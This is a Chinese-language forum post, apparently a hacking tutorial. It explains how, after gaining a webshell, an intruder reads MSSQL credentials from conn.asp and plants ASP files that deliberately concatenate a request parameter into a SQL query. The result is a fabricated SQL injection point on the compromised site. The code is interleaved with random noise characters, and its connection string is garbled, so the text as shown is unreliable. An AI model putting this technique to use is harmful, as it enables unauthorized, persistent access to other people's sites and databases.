首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
6 P: r& L8 O! ~+ q) _ASP/Visual Basic代码) y' d6 B# p. B
<!--#include file="xx.asp"-->
+ N) C0 t0 y( S$ f0 ~# X<%
3 d4 Z/ P" t9 H0 x0 Jset rs=server.createobject("ADODB.recordset") ! d9 T8 {0 o9 a7 R [- }
id = request("id")
1 Z, x8 W+ g7 m6 D' dstrSQL = "select * from admin where id=" & id 2 m( [0 w! x+ V8 e0 s" d
rs.open strSQL,conn,1,3
4 i! C* R2 m( v$ W1 |/ v- Y8 k) Brs.close
6 M* h: y I( Z, Y7 u ?1 e! s/ \/ E%> 7 q; e# W% |8 U F2 m8 z5 O
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
& }. H Z6 f7 @, ]然后就要构造一个连接数据库的文件了,代码如下: Z3 U& |$ T/ t: J
ASP/Visual Basic代码
& b! e3 G2 e9 B1 X* l<% , t/ g) E& ^* [; p' z& j; Y
strSQLServerName = "000.000.000.000" '服务器名称或地址 : [9 l$ S% z Y- p6 ~/ H
strSQLDBUserName = "sqlname" '数据库帐号
& L* Z8 l X, r3 w4 n, u8 u5 estrSQLDBPassword = "sqlpass" '数据库密码
M w5 J) l$ E) b3 i: pstrSQLDBName = "sqldataname" '数据库名称
4 i# `$ t! F5 v8 A# `0 ?Set conn = Server.CreateObject("ADODB.Connection")
c8 Y i& q& s, y7 n1 RstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
) B: ~0 O H4 B* g( ~7 jconn.open strCon 2 j. u* b0 ]5 r" K/ F
%> - @* R/ j9 L0 M0 Z, l. Q
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功9 [- L( R: ] w5 q& o/ j
|